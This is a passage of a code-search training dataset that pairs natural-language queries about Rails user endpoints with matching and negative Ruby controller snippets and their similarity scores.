"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end",
"def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n format.json { head :no_content }\n end",
"def destroy\n user = User.find(params[:id]) # from url, nothing to do with table\n user.destroy\n render json: user\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end",
"def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end",
"def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.78750724",
"0.77518034",
"0.7713981",
"0.7610077",
"0.747295",
"0.74073994",
"0.74073994",
"0.7369968",
"0.7346072",
"0.7340465",
"0.7328618",
"0.7309635",
"0.73095363",
"0.7306841",
"0.7297868",
"0.72917855",
"0.7291585",
"0.7289111",
"0.7284347",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7245172",
"0.7242216",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177"
] |
0.0
|
-1
|
GET /users/1 GET /users/1.json
|
def show
@user = User.find(params[:id])
# @playlist = current_user.playlists.build
redirect_to_good_slug(@user) and return if bad_slug?(@user)
# @playlists = @user.playlists.paginate(page: params[:page])
@groks = @user.groks.paginate(page: params[:page])
# @user.favs
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end",
"def show\n render json: User.find(params[\"id\"])\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\nend",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def get_by_id\n \n # the user_id param comes from our route\n user = User.find(params[:user_id])\n \n if user\n render json: user, status: :ok\n else\n render json: { errors: 'User not found' }, status: :not_found\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def get_user_details\n @user = User.find_by_id(params[:user_id])\n render json: @user\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n user = User.find_by(id: params[:id])\n render json: user, status: :ok\n end",
"def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end",
"def show\n @user = User.find(params[:id])\n render json: {user: @user}\n end",
"def list_users\n self.class.get('/users')\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"def show\n render :json => User.find(params[:id])\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def show\n @user = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM users \n WHERE username = '#{params[:username].downcase}' \n LIMIT 1\").first\n\n respond_to do |format|\n format.html\n format.json {render json: User.find(@user[0])}\n end\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def index\n json_response(User.all) \n end",
"def get(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def show\n # @user = User.first\n user = User.find(params[:id])\n render json: user\n end",
"def user(user_id, params = {})\n make_get_request(\"/users/#{user_id}\", params)\n end",
"def show_user_profile\n @user = User.find(username: params[:username])\n render json: @user\n end",
"def user(id = nil)\n id.to_i.zero? ? get('/user') : get(\"/users/#{id}\")\n end",
"def get_user id, options={}, headers={}\n @connection.get \"users/#{id}.json\", options, headers\n end",
"def user(user=nil)\n if user\n get(\"/users/#{user}\", {}, 3)\n else\n get(\"/user\", {}, 3)\n end\n end",
"def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @user }\n end\n end",
"def get_user(user_id:)\n parse(JSON.parse(connection.get(\"users/#{user_id}\").body))\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def show\n # puts params[:id]\n render json: User.find(params[:id])\n end",
"def get_user_info\n id = params[\"id\"]\n error_list = []\n status = 1\n json_response = {}\n user = User.find_by(id: id)\n\n if user.nil?\n error_list.append(\"Error: The specified user doesn't exist.\")\n status = -1\n else\n json_response[\"user\"] = user.get_user_json_data\n end\n\n if status == -1\n json_response[\"errors\"] = error_list\n end\n\n json_response[\"status\"] = status\n\n # Format the json_response into proper JSON and respond with it\n json_response = json_response.to_json\n\n respond_to do |format|\n format.json { render json: json_response }\n end\n end",
"def show\n @user = User.find(params[:id])\n if @user\n render json: {\n user: @user\n }\n else\n render json: {\n status: 500,\n errors: ['user not found']\n }\n end\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def show\n @user = User.find(params[:id])\n render json: {\n username: @user.username,\n first_name: @user.first_name,\n last_name: @user.last_name,\n email: @user.email,\n phone_number: @user.phone_number,\n contacts: @user.contacts\n }, status: :ok\n end",
"def get_user(user_id)\n request(Route.new(:GET, '/users/%{user_id}', user_id: user_id))\n end",
"def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def index\n users = User.all\n render json: users \n end",
"def user(user_id)\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n get(\"users/#{user_id}.json\", params)\n end",
"def index\n users = User.all \n render json: users \n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def json_show_user_profile_by_user_id\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.json { render json: @user.as_json(only:[:email,:username]) }\n end\n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def show\n user = User.find_by(uid: params[:id])\n if user\n puts 'USER FOUND'\n render json: user\n else\n puts 'NO USER'\n render json: 'no user'.to_json\n end\n end",
"def show\n render json: UserService.get_user(params[:id]), includes: 'questions, answers'\n end",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def index\n render :json => User.all, status: 200\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end"
] |
[
"0.81046426",
"0.7703556",
"0.77011716",
"0.76262826",
"0.7582106",
"0.74818",
"0.7461394",
"0.7446168",
"0.730656",
"0.7300699",
"0.72902125",
"0.72781444",
"0.72358584",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.72222257",
"0.72165024",
"0.72137505",
"0.72096044",
"0.71930283",
"0.7182953",
"0.7182144",
"0.7182144",
"0.7180289",
"0.71750754",
"0.7173851",
"0.71640617",
"0.71636444",
"0.71453786",
"0.7145053",
"0.7129776",
"0.71256554",
"0.71160513",
"0.7095665",
"0.70941204",
"0.70772994",
"0.7070785",
"0.7070607",
"0.7063351",
"0.70552826",
"0.7025071",
"0.7014598",
"0.70047677",
"0.6998373",
"0.69910055",
"0.6984177",
"0.6979766",
"0.6972448",
"0.6972228",
"0.6968384",
"0.69666255",
"0.6956339",
"0.69506294",
"0.6945614",
"0.6943135",
"0.69351804",
"0.6932212",
"0.6932212",
"0.6932212",
"0.6932212",
"0.6927094",
"0.69255126",
"0.6925136",
"0.6917375",
"0.6907744",
"0.68947464",
"0.6882589",
"0.6875701",
"0.68749416",
"0.68633634",
"0.6861618",
"0.6858055",
"0.6855495",
"0.68530583",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.6849599",
"0.6847195",
"0.6847074",
"0.6847074"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_user
@user = User.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
